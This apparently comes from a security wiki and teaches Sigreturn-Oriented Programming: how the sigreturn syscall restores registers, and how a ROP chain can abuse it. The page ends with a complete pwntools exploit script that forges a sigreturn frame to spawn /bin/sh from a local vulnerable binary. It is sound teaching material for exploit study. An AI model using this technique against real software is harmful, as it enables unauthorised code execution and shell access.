SROP - Sigreturn-Oriented Programming
[AD REMOVED]
Basic Information
Sigreturn
is a special syscall that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a signal handler, a special function designed to deal with signals.
After the signal handler finishes, the program needs to resume its previous state as if nothing happened. This is where sigreturn
comes into play. It helps the program to return from the signal handler and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
The interesting part is how sigreturn
restores the program's state: it does so by storing all the CPU's register values on the stack. When the signal is no longer blocked, sigreturn
pops these values off the stack, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
[!CAUTION] Calling the syscall
sigreturn
from a ROP chain and adding the registry values we would like it to load in the stack it's possible to control all the register values and therefore call for example the syscallexecve
with/bin/sh
.
Note how this would be a type of Ret2syscall that makes much easier to control params to call other Ret2syscalls:
{{#ref}} rop-syscall-execv.md {{#endref}}
For a better explanation check also:
{{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}}
Example
You can find an example here, although this is the final exploit from there:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
References
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
[AD REMOVED]